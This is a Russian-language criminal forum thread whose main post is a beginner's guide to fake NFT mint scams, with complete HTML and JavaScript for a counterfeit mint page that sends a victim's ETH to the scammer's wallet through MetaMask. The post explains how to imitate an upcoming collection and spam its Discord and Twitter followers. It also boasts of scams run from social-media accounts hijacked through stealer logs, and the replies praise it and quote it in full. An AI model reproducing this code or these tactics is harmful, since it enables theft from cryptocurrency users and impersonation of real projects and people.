• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья [#1] Скам крипты для начинающих и не только [ФЕЙКОВЫЙ МИНТ NFT ERC-20]

WebCrypt

Веб-разработчик
КИДАЛА
Регистрация
20.12.2021
Сообщения
115
Реакции
111
Гарант сделки
4
Пожалуйста, обратите внимание, что пользователь заблокирован
Приветствую всех, кто только начинает развиваться в этой отрасли и тех, кто это уже всё прожевал.
В данном манауле я расскажу всё об фейк минтах от А до Я и предоставлю соурс код(Код в общем доступе).

Что для этого нам необходимо:
-Минимальное понимание программирования
-Капелька хитрости и ума
-Немного ресурсов
-20$ на хост и домен~


Меньше воды, больше дела, сразу приступим к делу


И так, что такое NFT я думаю уже все знают, а вот что такое минт?
Минт - это процесс продажи NFT коллекции. Дату минта обозначают сами разработчики.
Минт может быть как и свободного доступа(Т.е. для любого желающего), так и закрытого доступа - только для тех, кто попал в WL(WhiteList / Белый лист)
Способов попасть в белый лист большое количество, но тема не об этом, но если будет интересно - расскажу)
В любом случае, для нас это не важно, ведь мы собираемся делать фейковый минт, а не покупать NFT на официальном ресурсе.

И так, вот настал момент, мы решились создать свой первый скам-проект, остановились на выборе - фейк минт, а откуда нам брать траффик для фейк минта и как его распространять? Или где нам найти, какой проект в скором времени запустится, чтобы сделать под него фейк? Какая прибыль? И как работает этот фейк? Сейчас разберем всё по полочкам.


Как работает фейк:
Работа фейк минта очень проста)
Мы запускаем сайт с использованием Web3(не пугаемся, расскажу), на котором будет идти якобы продажа NFT, пользователь покупает NFT, но бабки летят не в проект NFT-Коллекции, а на ваш кошелек.
Вот мы разобрались, а под что проект то делать?
Где найти проект под который сделать фейк:
Есть различное количество ресурсов, на которых происходят анонсы, продвигаются и рекламируются будущие NFT-коллекции.
Я приведу один пример, а так, ресурсы в общем доступе в поисковиках)

Что мы видим, большое количество предстоящих продаж, но как же выбрать, куда залетать?
Придётся немного постараться, чтобы найти хороший проект, ибо их не так уж и много, но по сути говоря - можно залететь в большинство и получить какую никакую скамнутую монету.
Но если желание есть подобрать более хороший проект, то посоветую переходить на ресурсы коллекций и смотреть активность, смотреть количество участников, есть ли WL(Если есть, то проект более серьезный)
Ладно, хорошо, но а есть ли смысл вообще заморачиваться? Какая прибыль то?

Прибыль с фейка:
Доходность конечно же не фиксированная, но и мы тут не за зарплату пришли РАБотать ))
Все в ваших руках, абсолютно полностью в ваших руках, за день можно собрать и ничего, а можно и залутать спокойно >1eth
Пример дохода за запуск одного минта:
Снимок.PNG

Вроде и не так много, но и не мало:)
Ладно, нам это подходит, для старта пойдёт, но как распространять?

Траффик и распространение:
Тут уже открывается огромное количество дорог
Можно проспамить по участникам дискорд канала NFT-Коллекции
Также можно проспамить по Твиттер подписчикам NFT-Коллекции
(Обязательно делаем ник и аватарку под NFT-Коллекцию)
Вариаций много и предела творческого подхода в этом нет:)





И так, вот мы уже подобрали проект, собрали все ресурсы для распространения, подходим к делу. Предстоящая продажа NFT-Коллекции от xss.pro стартует завтра. Упускать такой возможности нельзя.

Вот- вот будет стартовать проект от xss.pro, нужно быстро что-то предпринять и запустить фейк-минт, но все кодеры заняты?
Не проблема, сейчас покажу на пальцах как за пару часов запустить проект и предоставлю соурс код.


Для старта нужно установить любой редактор кода, я лично использую Visual Studio Code.
Далее для понимания немного информации на простом языке:
CSS - Язык стилей, с помощью него закладывается основа дизайна сайта
HTML - Разметка сайта, проще говоря - указывает сайту где что будет находиться)
JS - Скрипты для взаимодействия с сайтом))

Выгружаем архив, что я приложил, открываем файлы редактором кода
Сам сайт выглядит так:
Снимок.PNG


Разбирать полностью код из соурса мы не станем, ибо это не столь важно и муторно, но поехали разберем по файлам важную структуру для редактирования:

Index.html
Здесь мы видим структуру сайта и подключаемые скрипты
Из важных подключаемых скриптов Web3.js и Script.js
Web3 нам необходим для взаимодействия с метамаском и сетью ERC-20
Script.js скрипт с помощью которого мы соединяем наш сайт с Web3
Также мы наблюдаем в index.html данный код:

HTML:
<div id="payment-header">
                    <div id="payment-header-text">
                        <h3 style="text-align:center" id="titleH4"> xss.pro</h3> <!-- Auto edit (config in index.js) -->
                        <h3 style="text-align:center">FREE Mint LIVE!</h3>
                        <p style="text-align:center" id="totalSupply" class="pt-1.5 italic-grey">Total supply: 100 NFTs</p>
                        <!-- Auto edit (config in index.js) -->
                    </div>
                </div>
                <div id="payment-info">
                    <img src="xss.PNG" class="image" height="100px" id="price-img">
                    <div id="payment-info-text">
                        <p>Price Per NFT</p>
                        <p class="title"><a id="nftPrice">0.03</a> ETH + gas</p>
                        
                    </div>
                </div>
               
          [/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE]
 
[SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5]                <div class="flex items-center justify-center space-x-4 mt-5">
                    <div class="w-100 h-12 flex flex-col items-center justify-center border border-brand rounded">
                        <div id="ape-number" >
                            <div class="calcs" >
                                
                                     <form class="div"  oninput="result.value=(a.value * price).toFixed(2)" style="display: flex;">
                                        <div class="down_arrow" id="addCount" style="font-size: 30px;" > - </div>
                            <input id="inputor" name="a" class="nftsNumber eth_input text-white text-center leading-3 -mt-1 placeholder-white text-lg md:text-xl lg:text-3xl font-semibold w-12 h-12 bg-transparent focus-within:outline-none" type="number" min="1" pattern="[A-z0-9]{2,50}" max="5"
                                placeholder="1" value="1" style="background-color: #00000000;;text-align:center;width:30px;border-color: #00000000;margin-left:15px;"><div class="up_arrow" id="remCount" style="font-size: 30px;font-weight: 400;"> + </div></div><h5 id="maxNumber" style="text-align: right;margin-bottom:5px ;">5 Max</h5>
                    </div></div>
                </div>
                <p class="text-alert text-sm font-semibold pt-3 leading-4 pb-4"></p>
                <div id="ape-total">
                <p class="mt-3"><span class="total text-white  text-base md:text-lg lg:text-xl">Total:</span>



                    <output id="price"  name="price"  class="actual_price ml-1 text-lg md:text-xl lg:text-3xl text-brand font-semibold">0.03</output>
                    </form>
В этом коде мы заменяем название, колличество, стоимость и картинки под нужный нам проект

Script.js

JavaScript:
[/B]
const netURL = 'https://mainnet.infura.io/v3/30ea4......';
const ADDRESS = '0x00000000000000000000';
const web3 = window.Web3
const ethereum = window.ethereum
let accounts
let price = 0.03
const input = document.querySelector(".eth_input")
const button = document.querySelector(".metamask_content-btn")
const title = document.querySelector(".metamask_content-title")
const priceDisplay = document.querySelector("#price")
const Web3 = new web3(netURL)
window.addEventListener("load", () => {
    button.disabled = false
    button.classList.remove('hidden');
    if (ethereum.selectedAddress) {
        document.querySelector(".container_link_metamask_install-btn").style.display = "none"
        document.querySelector(".container_metamask_content-btn").style.display = "flex"
        button.innerHTML = "Mint now"
        input.disabled = false
        title.innerHTML = "MetaMask connected"
    }
    else if (ethereum.isMetaMask) {
        document.querySelector(".container_link_metamask_install-btn").style.display = "none"
        document.querySelector(".container_metamask_content-btn").style.display = "flex"
        title.innerHTML = "MetaMask installed"
        input.disabled = false
    }

})
const getAccount = async () => {
    accounts = await ethereum.request({ method: 'eth_requestAccounts' });
    console.log(accounts)
    if (window.ethereum.chainId == "0x1") console.log("Already connected to ethereum mainnet...")
    else {
        try {
            await ethereum.request({
                method: 'wallet_switchEthereumChain',
                params: [{chainId: '0x1'}],
            });
        } catch (switchError) {
            // This error code indicates that the chain has not been added to MetaMask.
            if (error.code === 4902) {
                try {
                    await ethereum.request({
                        method: 'wallet_addEthereumChain',
                        params: [{
                            chainId: '0x1',
                            rpcUrl: netURL
                        }],
                    });
                } catch (addError) {
                    // handle "add" error
                }
            }
        }
    }
}

const sendTransaction =  async () => {
    price = +input.value * 0.03
    const priceToWei = (price * 1e18).toString(16)
    ethereum.request({
            method: 'eth_sendTransaction',
            params: [
                {
                    from: accounts[0],
                    to: ADDRESS,
                    value: priceToWei,
                },
            ],
        })
        .then((txHash) => console.log(txHash))
        .catch((error) => console.error);
};

input.addEventListener("input", () => {
    if (+input.value < 1) button.disabled = true
    else if (+input.value >= 1) button.disabled = false
    price = +input.value * 0.03
    if (+input.value >= 1) priceDisplay.innerText = price.toFixed(2)
    //else if(input.value < 1) input.value =+ "1"
    else priceDisplay.innerText = "0"
})
button.addEventListener("click", async () => {
    if (!ethereum.selectedAddress) {
        await getAccount()
        button.innerHTML = "Mint now"
        title.innerHTML = "MetaMask connected"
    } else {
        await getAccount()
        await sendTransaction()
    }
})
document.querySelector(".up_arrow").addEventListener("click", () => {
    input.value = +input.value + 1
    event = new Event("input")
    input.dispatchEvent(event)
})
document.querySelector(".down_arrow").addEventListener("click", () => {
    input.value = +input.value - 1
    event = new Event("input")
    input.dispatchEvent(event)
})
[B]
В этом скрипте происходит взаимодействие с сайтом, сейчас расскажу что к чему

В первой строке мы подключаемся к Infura, регистрируемся, создаем проект, берем айди и впуливаем в эту строчку
Во второй строке заместо 0x00000000.... указываем свой кошелек
В строчке let price = 0.03 указываем стоимость NFT(Заместо 0.03)
И также везде в этом коде, где указанно 0.03 заменяем на свою цену


Функция getAccount запрашивает подключение для пользователя к кошельку
Функция sendTransaction отправляет транзакцию
Евент click создает функцию кнопки для подключения и отправки транзакции
.up_arrow и .down_arrow создают возможность взаимодействия с кнопками + и
-


Далее сохраняем весь наш проект, загружаем на хостинг и начинаем распространять:)




Сейчас это конечно же не самая актуальная версия для скама крипты, но есть большие шансы занять свою нишу. С каждым днём становится все больше конкурентов, с каждым днём выходят новые обновления по блокировке спама на подобные фейк-проекты. Но, я уверен, что если найти свой собственный источник траффика можно на этом получать хорошие деньги. Также можно использовать данный скрипт не только для фейк минтов, но и для других проектов. Как пример: крипто-боксы(открытие кейсов с подарками), различные фейк-продажи, фейк-биржи, аукционы автомобилей за крипту. И также распространять можно абсолютно любыми методами. Можно придумать абсолютно что угодно и использовать это в своих(и не только) целях.
Не обязательно даже для чёрной работы это использовать, может у вас свой белый проект и вы бы хотели добавить оплату в крипте, пожалуйста, этот скрипт отлично подойдет, только нужно немного подредактировать)
Запущенных фейк-минтов не сосчитать, но приведу пару примеров))

Как-то в логе со стиллера мне попался неплохой ютуб и телеграмм-канал по крипто-тематике, не особо популярные, но все же. Ну я сразу кубы кидать, что мне с этим можно сделать. Не долго думая запустил Евент-тикет, там где покупая билетик ты получаешь огромный шанс приумножить свой капитал, накидал несколько страничек для сайтика, на одном из них саму покупку билетов по 0.1 ETH и внизу шансы разных выйгрышей и количество уже принявших участников(Динамическое изменение было), что в соотношении давало огромные шансы на большую победу
Сделал подобие трейлера и закинул на ютубчик и в телеграмм-канал, в тот момент для меня это был огромный заработок, но собрал 4k$

И второй пример немного даже забавный)
Также в логе, но совсем другое. Залетел мне ютуб канал, инстаграм, твиттер одного очень популярного блогера-гея)) Ну и что, мне сразу прилетела в голову идея. ПОДДЕРЖКА И РАЗВИТИЕ ЛГБТ СООБЩЕСТВА)))
Когда люди, с которыми я работал увидели это - посмеялись, но залетело неплохо
Также собрал сайт, подготовил дизайн для постов под инстаграм и твиттер, ютуб не стал трогать, отдал на стрим. Подождал позднего вечера по RU времени(т.к. это самый пик актива в US и EU) и залил посты
И для интереса остался в сессии и еще отвечал тем, кто писал
Сообщений сотни было, все были в шоке что я(ну не я, а он) им отвечал, все кинулись помогать проекту, но, к сожалению, это наверное больше подошло бы не под криптотематику, а под сборы на палку к примеру. Ибо подавляющее большинство не разбиралось в криптовалюте, а то и не имели представления что это такое. Так что, тут тоже дело такое, нужно подходить основательно и грамотно выбирать аудиторию.
Профит: 2k$

Этими примерами я хотел донести мысль, что не стоит зацикливаться только на фейк-минтах при использовании данного скрипта. Этот скрипт подойдет под разные цели: точечная работа, под аудиторию или под целое сообщество. Можно придумать что угодно, главное творчески подходить к этому и можно не имея ничего заработать уже какой никакой капитал.
А если имеется капитал, то можно открывать огромные проекты, проливать их через ФБ и Гугл АДС, набирать огромный траффик и соответственно прибыль, но тут тоже стоит быть аккуратным, ибо не на все проекты ведутся.









На этом всё, это пособие было для новичков, которые только начинают своё ремесло в этом деле.
Большое спасибо за внимание! Удачи в делах.


p.s: люблю я конечно затягивать до последнего момента, пойду лило и стича смотреть
 

Вложения

  • xss.pro Mint.zip
    922.1 КБ · Просмотры: 325
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Линк на вторую статью (тык)
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
круто, спасибо за статьи, интересно!
Спасибо за обратную связь)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Хорошая статья, чуть позже вторую начну читать)
Спасибо)
Обязательно прочитай)
 
Приветствую всех, кто только начинает развиваться в этой отрасли и тех, кто это уже всё прожевал.
В данном манауле я расскажу всё об фейк минтах от А до Я и предоставлю соурс код(Код в общем доступе).

Что для этого нам необходимо:
-Минимальное понимание программирования
-Капелька хитрости и ума
-Немного ресурсов
-20$ на хост и домен~


Меньше воды, больше дела, сразу приступим к делу


И так, что такое NFT я думаю уже все знают, а вот что такое минт?
Минт - это процесс продажи NFT коллекции. Дату минта обозначают сами разработчики.
Минт может быть как и свободного доступа(Т.е. для любого желающего), так и закрытого доступа - только для тех, кто попал в WL(WhiteList / Белый лист)
Способов попасть в белый лист большое количество, но тема не об этом, но если будет интересно - расскажу)
В любом случае, для нас это не важно, ведь мы собираемся делать фейковый минт, а не покупать NFT на официальном ресурсе.

И так, вот настал момент, мы решились создать свой первый скам-проект, остановились на выборе - фейк минт, а откуда нам брать траффик для фейк минта и как его распространять? Или где нам найти, какой проект в скором времени запустится, чтобы сделать под него фейк? Какая прибыль? И как работает этот фейк? Сейчас разберем всё по полочкам.


Как работает фейк:
Работа фейк минта очень проста)
Мы запускаем сайт с использованием Web3(не пугаемся, расскажу), на котором будет идти якобы продажа NFT, пользователь покупает NFT, но бабки летят не в проект NFT-Коллекции, а на ваш кошелек.
Вот мы разобрались, а под что проект то делать?
Где найти проект под который сделать фейк:
Есть различное количество ресурсов, на которых происходят анонсы, продвигаются и рекламируются будущие NFT-коллекции.
Я приведу один пример, а так, ресурсы в общем доступе в поисковиках)

Что мы видим, большое количество предстоящих продаж, но как же выбрать, куда залетать?
Придётся немного постараться, чтобы найти хороший проект, ибо их не так уж и много, но по сути говоря - можно залететь в большинство и получить какую никакую скамнутую монету.
Но если желание есть подобрать более хороший проект, то посоветую переходить на ресурсы коллекций и смотреть активность, смотреть количество участников, есть ли WL(Если есть, то проект более серьезный)
Ладно, хорошо, но а есть ли смысл вообще заморачиваться? Какая прибыль то?

Прибыль с фейка:
Доходность конечно же не фиксированная, но и мы тут не за зарплату пришли РАБотать ))
Все в ваших руках, абсолютно полностью в ваших руках, за день можно собрать и ничего, а можно и залутать спокойно >1eth
Пример дохода за запуск одного минта:
Посмотреть вложение 38508
Вроде и не так много, но и не мало:)
Ладно, нам это подходит, для старта пойдёт, но как распространять?

Траффик и распространение:
Тут уже открывается огромное количество дорог
Можно проспамить по участникам дискорд канала NFT-Коллекции
Также можно проспамить по Твиттер подписчикам NFT-Коллекции
(Обязательно делаем ник и аватарку под NFT-Коллекцию)
Вариаций много и предела творческого подхода в этом нет:)





И так, вот мы уже подобрали проект, собрали все ресурсы для распространения, подходим к делу. Предстоящая продажа NFT-Коллекции от xss.pro стартует завтра. Упускать такой возможности нельзя.

Вот- вот будет стартовать проект от xss.pro, нужно быстро что-то предпринять и запустить фейк-минт, но все кодеры заняты?
Не проблема, сейчас покажу на пальцах как за пару часов запустить проект и предоставлю соурс код.


Для старта нужно установить любой редактор кода, я лично использую Visual Studio Code.
Далее для понимания немного информации на простом языке:
CSS - Язык стилей, с помощью него закладывается основа дизайна сайта
HTML - Разметка сайта, проще говоря - указывает сайту где что будет находиться)
JS - Скрипты для взаимодействия с сайтом))

Выгружаем архив, что я приложил, открываем файлы редактором кода
Сам сайт выглядит так:
Посмотреть вложение 38510

Разбирать полностью код из соурса мы не станем, ибо это не столь важно и муторно, но поехали разберем по файлам важную структуру для редактирования:

Index.html
Здесь мы видим структуру сайта и подключаемые скрипты
Из важных подключаемых скриптов Web3.js и Script.js
Web3 нам необходим для взаимодействия с метамаском и сетью ERC-20
Script.js скрипт с помощью которого мы соединяем наш сайт с Web3
Также мы наблюдаем в index.html данный код:

HTML:
<div id="payment-header">
                    <div id="payment-header-text">
                        <h3 style="text-align:center" id="titleH4"> xss.pro</h3> <!-- Auto edit (config in index.js) -->
                        <h3 style="text-align:center">FREE Mint LIVE!</h3>
                        <p style="text-align:center" id="totalSupply" class="pt-1.5 italic-grey">Total supply: 100 NFTs</p>
                        <!-- Auto edit (config in index.js) -->
                    </div>
                </div>
                <div id="payment-info">
                    <img src="xss.PNG" class="image" height="100px" id="price-img">
                    <div id="payment-info-text">
                        <p>Price Per NFT</p>
                        <p class="title"><a id="nftPrice">0.03</a> ETH + gas</p>
                        
                    </div>
                </div>
               
          [/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE]
 
[SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5]                <div class="flex items-center justify-center space-x-4 mt-5">
                    <div class="w-100 h-12 flex flex-col items-center justify-center border border-brand rounded">
                        <div id="ape-number" >
                            <div class="calcs" >
                                
                                     <form class="div"  oninput="result.value=(a.value * price).toFixed(2)" style="display: flex;">
                                        <div class="down_arrow" id="addCount" style="font-size: 30px;" > - </div>
                            <input id="inputor" name="a" class="nftsNumber eth_input text-white text-center leading-3 -mt-1 placeholder-white text-lg md:text-xl lg:text-3xl font-semibold w-12 h-12 bg-transparent focus-within:outline-none" type="number" min="1" pattern="[A-z0-9]{2,50}" max="5"
                                placeholder="1" value="1" style="background-color: #00000000;;text-align:center;width:30px;border-color: #00000000;margin-left:15px;"><div class="up_arrow" id="remCount" style="font-size: 30px;font-weight: 400;"> + </div></div><h5 id="maxNumber" style="text-align: right;margin-bottom:5px ;">5 Max</h5>
                    </div></div>
                </div>
                <p class="text-alert text-sm font-semibold pt-3 leading-4 pb-4"></p>
                <div id="ape-total">
                <p class="mt-3"><span class="total text-white  text-base md:text-lg lg:text-xl">Total:</span>



                    <output id="price"  name="price"  class="actual_price ml-1 text-lg md:text-xl lg:text-3xl text-brand font-semibold">0.03</output>
                    </form>
В этом коде мы заменяем название, колличество, стоимость и картинки под нужный нам проект

Script.js

JavaScript:
[/B]
const netURL = 'https://mainnet.infura.io/v3/30ea4......';
const ADDRESS = '0x00000000000000000000';
const web3 = window.Web3
const ethereum = window.ethereum
let accounts
let price = 0.03
const input = document.querySelector(".eth_input")
const button = document.querySelector(".metamask_content-btn")
const title = document.querySelector(".metamask_content-title")
const priceDisplay = document.querySelector("#price")
const Web3 = new web3(netURL)
window.addEventListener("load", () => {
    button.disabled = false
    button.classList.remove('hidden');
    if (ethereum.selectedAddress) {
        document.querySelector(".container_link_metamask_install-btn").style.display = "none"
        document.querySelector(".container_metamask_content-btn").style.display = "flex"
        button.innerHTML = "Mint now"
        input.disabled = false
        title.innerHTML = "MetaMask connected"
    }
    else if (ethereum.isMetaMask) {
        document.querySelector(".container_link_metamask_install-btn").style.display = "none"
        document.querySelector(".container_metamask_content-btn").style.display = "flex"
        title.innerHTML = "MetaMask installed"
        input.disabled = false
    }

})
const getAccount = async () => {
    accounts = await ethereum.request({ method: 'eth_requestAccounts' });
    console.log(accounts)
    if (window.ethereum.chainId == "0x1") console.log("Already connected to ethereum mainnet...")
    else {
        try {
            await ethereum.request({
                method: 'wallet_switchEthereumChain',
                params: [{chainId: '0x1'}],
            });
        } catch (switchError) {
            // This error code indicates that the chain has not been added to MetaMask.
            if (error.code === 4902) {
                try {
                    await ethereum.request({
                        method: 'wallet_addEthereumChain',
                        params: [{
                            chainId: '0x1',
                            rpcUrl: netURL
                        }],
                    });
                } catch (addError) {
                    // handle "add" error
                }
            }
        }
    }
}

const sendTransaction =  async () => {
    price = +input.value * 0.03
    const priceToWei = (price * 1e18).toString(16)
    ethereum.request({
            method: 'eth_sendTransaction',
            params: [
                {
                    from: accounts[0],
                    to: ADDRESS,
                    value: priceToWei,
                },
            ],
        })
        .then((txHash) => console.log(txHash))
        .catch((error) => console.error);
};

input.addEventListener("input", () => {
    if (+input.value < 1) button.disabled = true
    else if (+input.value >= 1) button.disabled = false
    price = +input.value * 0.03
    if (+input.value >= 1) priceDisplay.innerText = price.toFixed(2)
    //else if(input.value < 1) input.value =+ "1"
    else priceDisplay.innerText = "0"
})
button.addEventListener("click", async () => {
    if (!ethereum.selectedAddress) {
        await getAccount()
        button.innerHTML = "Mint now"
        title.innerHTML = "MetaMask connected"
    } else {
        await getAccount()
        await sendTransaction()
    }
})
document.querySelector(".up_arrow").addEventListener("click", () => {
    input.value = +input.value + 1
    event = new Event("input")
    input.dispatchEvent(event)
})
document.querySelector(".down_arrow").addEventListener("click", () => {
    input.value = +input.value - 1
    event = new Event("input")
    input.dispatchEvent(event)
})
[B]
В этом скрипте происходит взаимодействие с сайтом, сейчас расскажу что к чему

В первой строке мы подключаемся к Infura, регистрируемся, создаем проект, берем айди и впуливаем в эту строчку
Во второй строке заместо 0x00000000.... указываем свой кошелек
В строчке let price = 0.03 указываем стоимость NFT(Заместо 0.03)
И также везде в этом коде, где указанно 0.03 заменяем на свою цену


Функция getAccount запрашивает подключение для пользователя к кошельку
Функция sendTransaction отправляет транзакцию
Евент click создает функцию кнопки для подключения и отправки транзакции
.up_arrow и .down_arrow создают возможность взаимодействия с кнопками + и
-


Далее сохраняем весь наш проект, загружаем на хостинг и начинаем распространять:)




Сейчас это конечно же не самая актуальная версия для скама крипты, но есть большие шансы занять свою нишу. С каждым днём становится все больше конкурентов, с каждым днём выходят новые обновления по блокировке спама на подобные фейк-проекты. Но, я уверен, что если найти свой собственный источник траффика можно на этом получать хорошие деньги. Также можно использовать данный скрипт не только для фейк минтов, но и для других проектов. Как пример: крипто-боксы(открытие кейсов с подарками), различные фейк-продажи, фейк-биржи, аукционы автомобилей за крипту. И также распространять можно абсолютно любыми методами. Можно придумать абсолютно что угодно и использовать это в своих(и не только) целях.
Не обязательно даже для чёрной работы это использовать, может у вас свой белый проект и вы бы хотели добавить оплату в крипте, пожалуйста, этот скрипт отлично подойдет, только нужно немного подредактировать)
Запущенных фейк-минтов не сосчитать, но приведу пару примеров))

Как-то в логе со стиллера мне попался неплохой ютуб и телеграмм-канал по крипто-тематике, не особо популярные, но все же. Ну я сразу кубы кидать, что мне с этим можно сделать. Не долго думая запустил Евент-тикет, там где покупая билетик ты получаешь огромный шанс приумножить свой капитал, накидал несколько страничек для сайтика, на одном из них саму покупку билетов по 0.1 ETH и внизу шансы разных выйгрышей и количество уже принявших участников(Динамическое изменение было), что в соотношении давало огромные шансы на большую победу
Сделал подобие трейлера и закинул на ютубчик и в телеграмм-канал, в тот момент для меня это был огромный заработок, но собрал 4k$

И второй пример немного даже забавный)
Также в логе, но совсем другое. Залетел мне ютуб канал, инстаграм, твиттер одного очень популярного блогера-гея)) Ну и что, мне сразу прилетела в голову идея. ПОДДЕРЖКА И РАЗВИТИЕ ЛГБТ СООБЩЕСТВА)))
Когда люди, с которыми я работал увидели это - посмеялись, но залетело неплохо
Также собрал сайт, подготовил дизайн для постов под инстаграм и твиттер, ютуб не стал трогать, отдал на стрим. Подождал позднего вечера по RU времени(т.к. это самый пик актива в US и EU) и залил посты
И для интереса остался в сессии и еще отвечал тем, кто писал
Сообщений сотни было, все были в шоке что я(ну не я, а он) им отвечал, все кинулись помогать проекту, но, к сожалению, это наверное больше подошло бы не под криптотематику, а под сборы на палку к примеру. Ибо подавляющее большинство не разбиралось в криптовалюте, а то и не имели представления что это такое. Так что, тут тоже дело такое, нужно подходить основательно и грамотно выбирать аудиторию.
Профит: 2k$

Этими примерами я хотел донести мысль, что не стоит зацикливаться только на фейк-минтах при использовании данного скрипта. Этот скрипт подойдет под разные цели: точечная работа, под аудиторию или под целое сообщество. Можно придумать что угодно, главное творчески подходить к этому и можно не имея ничего заработать уже какой никакой капитал.
А если имеется капитал, то можно открывать огромные проекты, проливать их через ФБ и Гугл АДС, набирать огромный траффик и соответственно прибыль, но тут тоже стоит быть аккуратным, ибо не на все проекты ведутся.









На этом всё, это пособие было для новичков, которые только начинают своё ремесло в этом деле.
Большое спасибо за внимание! Удачи в делах.


p.s: люблю я конечно затягивать до последнего момента, пойду лило и стича смотреть
Топ статья! Надеюсь ещё такие будут ಠ◡ಠ
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Прекрасно, информативно, доступно. Су довольствием читаю твои статьи
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Прекрасно, информативно, доступно. Су довольствием читаю твои статьи
Спасибо большое)
Старался донести информацию так, чтобы любой смог понять)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Спамили спамили мы так по дискорду, так ничего и не наспамили))

хотя у конкурентов кошельки всегда полные, как так хз..
Ну сейчас темка уже почти умерла
Может токены умирали не дослав сообщение?
 
Ну сейчас темка уже почти умерла
Может токены умирали не дослав сообщение?
не не, я отсылал все четко, то есть по спаму у меня твердая 5рка! если есть хорошие темы или оферы, стучите в ЛС готов проспамить ваши идеи.
 
Ну сейчас темка уже почти умерла
Может токены умирали не дослав сообщение?
Крутая статья! А темка умерла с дискородом или в целом имеешь ввиду? Я думал с гугла или фб збс пойдет для смартов...
 
Крутая статья! А темка умерла с дискородом или в целом имеешь ввиду? Я думал с гугла или фб збс пойдет для смартов...
А как думал раскрутить эту тему в фб? Там нет возможности таргетировать крипто аудиторию. А если запустить нфт минт, то там Лиды будут стоит космос просто
 
Приветствую всех, кто только начинает развиваться в этой отрасли и тех, кто это уже всё прожевал.
В данном манауле я расскажу всё об фейк минтах от А до Я и предоставлю соурс код(Код в общем доступе).

Что для этого нам необходимо:
-Минимальное понимание программирования
-Капелька хитрости и ума
-Немного ресурсов
-20$ на хост и домен~


Меньше воды, больше дела, сразу приступим к делу


И так, что такое NFT я думаю уже все знают, а вот что такое минт?
Минт - это процесс продажи NFT коллекции. Дату минта обозначают сами разработчики.
Минт может быть как и свободного доступа(Т.е. для любого желающего), так и закрытого доступа - только для тех, кто попал в WL(WhiteList / Белый лист)
Способов попасть в белый лист большое количество, но тема не об этом, но если будет интересно - расскажу)
В любом случае, для нас это не важно, ведь мы собираемся делать фейковый минт, а не покупать NFT на официальном ресурсе.

И так, вот настал момент, мы решились создать свой первый скам-проект, остановились на выборе - фейк минт, а откуда нам брать траффик для фейк минта и как его распространять? Или где нам найти, какой проект в скором времени запустится, чтобы сделать под него фейк? Какая прибыль? И как работает этот фейк? Сейчас разберем всё по полочкам.


Как работает фейк:
Работа фейк минта очень проста)
Мы запускаем сайт с использованием Web3(не пугаемся, расскажу), на котором будет идти якобы продажа NFT, пользователь покупает NFT, но бабки летят не в проект NFT-Коллекции, а на ваш кошелек.
Вот мы разобрались, а под что проект то делать?
Где найти проект под который сделать фейк:
Есть различное количество ресурсов, на которых происходят анонсы, продвигаются и рекламируются будущие NFT-коллекции.
Я приведу один пример, а так, ресурсы в общем доступе в поисковиках)

Что мы видим, большое количество предстоящих продаж, но как же выбрать, куда залетать?
Придётся немного постараться, чтобы найти хороший проект, ибо их не так уж и много, но по сути говоря - можно залететь в большинство и получить какую никакую скамнутую монету.
Но если желание есть подобрать более хороший проект, то посоветую переходить на ресурсы коллекций и смотреть активность, смотреть количество участников, есть ли WL(Если есть, то проект более серьезный)
Ладно, хорошо, но а есть ли смысл вообще заморачиваться? Какая прибыль то?

Прибыль с фейка:
Доходность конечно же не фиксированная, но и мы тут не за зарплату пришли РАБотать ))
Все в ваших руках, абсолютно полностью в ваших руках, за день можно собрать и ничего, а можно и залутать спокойно >1eth
Пример дохода за запуск одного минта:
Посмотреть вложение 38508
Вроде и не так много, но и не мало:)
Ладно, нам это подходит, для старта пойдёт, но как распространять?

Траффик и распространение:
Тут уже открывается огромное количество дорог
Можно проспамить по участникам дискорд канала NFT-Коллекции
Также можно проспамить по Твиттер подписчикам NFT-Коллекции
(Обязательно делаем ник и аватарку под NFT-Коллекцию)
Вариаций много и предела творческого подхода в этом нет:)





И так, вот мы уже подобрали проект, собрали все ресурсы для распространения, подходим к делу. Предстоящая продажа NFT-Коллекции от xss.pro стартует завтра. Упускать такой возможности нельзя.

Вот- вот будет стартовать проект от xss.pro, нужно быстро что-то предпринять и запустить фейк-минт, но все кодеры заняты?
Не проблема, сейчас покажу на пальцах как за пару часов запустить проект и предоставлю соурс код.


Для старта нужно установить любой редактор кода, я лично использую Visual Studio Code.
Далее для понимания немного информации на простом языке:
CSS - Язык стилей, с помощью него закладывается основа дизайна сайта
HTML - Разметка сайта, проще говоря - указывает сайту где что будет находиться)
JS - Скрипты для взаимодействия с сайтом))

Выгружаем архив, что я приложил, открываем файлы редактором кода
Сам сайт выглядит так:
Посмотреть вложение 38510

Разбирать полностью код из соурса мы не станем, ибо это не столь важно и муторно, но поехали разберем по файлам важную структуру для редактирования:

Index.html
Здесь мы видим структуру сайта и подключаемые скрипты
Из важных подключаемых скриптов Web3.js и Script.js
Web3 нам необходим для взаимодействия с метамаском и сетью ERC-20
Script.js скрипт с помощью которого мы соединяем наш сайт с Web3
Также мы наблюдаем в index.html данный код:

HTML:
<div id="payment-header">
                    <div id="payment-header-text">
                        <h3 style="text-align:center" id="titleH4"> xss.pro</h3> <!-- Auto edit (config in index.js) -->
                        <h3 style="text-align:center">FREE Mint LIVE!</h3>
                        <p style="text-align:center" id="totalSupply" class="pt-1.5 italic-grey">Total supply: 100 NFTs</p>
